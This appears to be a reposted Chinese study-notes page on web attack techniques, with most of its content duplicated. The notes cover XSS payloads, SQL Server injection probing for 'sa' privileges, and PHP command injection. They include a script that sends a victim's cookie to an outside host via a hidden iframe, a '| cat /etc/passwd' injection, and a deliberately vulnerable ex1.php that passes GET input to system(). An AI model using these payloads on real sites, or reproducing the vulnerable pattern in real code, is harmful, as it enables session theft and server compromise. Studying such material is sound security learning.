xss跨站指令碼&&php命令列注入
阿新 • • 發佈:2019-01-25
xss跨站指令碼:
<script>alert(42)</script> (可更改大小寫) confirm() prompt()
<img src="x:x" onerror=alert(42)> (script標籤被遮蔽)
<script>document.write(document.cookie)</script>
<script>document.write("<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"' ></iframe>");</script>
<script>document.location=("http://www.baidu.com")</script>
<form action="<?php echo $_SERVER['PHP_SELF'];?> method="POST">
your name:<input type="text" name="name"/>
<input type="submit" name="submit" />
http://10.1.1.11:81/xss/example8.php
/"onsubmit=javascript:alert(1)%20name="a
url解碼:%2F / %22 " %7B { %23 #
html中單雙引號交替使用
eval() 函式把字串按照 PHP 程式碼來計算。
eval("\$str = \"$str\";");
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
SQLServer內建物件user user是SQLServer的一個內建變數,它的值是當前連線的使用者名稱,型別為nvarchar
SQLServer的使用者sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登入,要注意的是:如果是sa登入,提示是將"dbo"轉換成int的列發生錯誤,而不是"sa"。
burpsuit中spider可能會誤刪資料,因為會對每個按鈕進行測試
linux:如果引數的單個字母,用 “-” ,如果引數是一個單詞或片語,用 “--”
正則表示式:^[0-9]+$ 開頭結尾數字至少重複1次
數字字元'2'asc碼為50 'A'為65 'a'為97
PHP命令列注入 :字元會被轉義 &為%26 拼接命令 |管道符號,將前面命令輸出作為後面命令的輸入 ||前面命令執行失敗則執行後面的,若前面的是正常的,可以改為錯誤的 &
PHP中可以使用下列四個函式來執行外部的應用程式或函式:system、exec、passthru、shell_exec,四個函式的原型如下:
• string system(string command, int &return_var)
command 要執行的命令; return_var 存放執行命令的執行後的狀態值。
• string exec (string command, array &output, int &return_var)
command 要執行的命令,output 獲得執行命令輸出的每一行字串,return_var 存放執行命令後的狀態值。
• void passthru (string command, int &return_var)
command 要執行的命令,return_var 存放執行命令後的狀態值。
• string shell_exec (string command)
command 要執行的命令,如下例所示,表示通過提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,執行命令變成了system("ls -al | cat /etc/passwd"),輸出/etc/passwd 檔案的具體內容。
<script>alert(42)</script> (可更改大小寫) confirm() prompt()
<img src="x:x" onerror=alert(42)> (script標籤被遮蔽)
<script>document.write(document.cookie)</script>
<script>document.write("<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"' ></iframe>");</script>
<script>document.location=("http://www.baidu.com")</script>
<form action="<?php echo $_SERVER['PHP_SELF'];?> method="POST">
your name:<input type="text" name="name"/>
<input type="submit" name="submit" />
http://10.1.1.11:81/xss/example8.php
/"onsubmit=javascript:alert(1)%20name="a
url解碼:%2F / %22 " %7B { %23 #
html中單雙引號交替使用
eval() 函式把字串按照 PHP 程式碼來計算。
eval("\$str = \"$str\";");
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
SQLServer內建物件user user是SQLServer的一個內建變數,它的值是當前連線的使用者名稱,型別為nvarchar
SQLServer的使用者sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登入,要注意的是:如果是sa登入,提示是將"dbo"轉換成int的列發生錯誤,而不是"sa"。
burpsuit中spider可能會誤刪資料,因為會對每個按鈕進行測試
linux:如果引數的單個字母,用 “-” ,如果引數是一個單詞或片語,用 “--”
正則表示式:^[0-9]+$ 開頭結尾數字至少重複1次
數字字元'2'asc碼為50 'A'為65 'a'為97
PHP命令列注入
PHP中可以使用下列四個函式來執行外部的應用程式或函式:system、exec、passthru、shell_exec,四個函式的原型如下:
• string system(string command, int &return_var)
command 要執行的命令; return_var 存放執行命令的執行後的狀態值。
• string exec (string command, array &output, int &return_var)
command 要執行的命令,output 獲得執行命令輸出的每一行字串,return_var 存放執行命令後的狀態值。
• void passthru (string command, int &return_var)
command 要執行的命令,return_var 存放執行命令後的狀態值。
• string shell_exec (string command)
command 要執行的命令,如下例所示,表示通過提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,執行命令變成了system("ls -al | cat /etc/passwd"),輸出/etc/passwd 檔案的具體內容。
//ex1.php <?php $dir = $_GET["dir"]; if (isset($dir)) { echo ""; system("ls -al ".$dir); echo ""; } ?>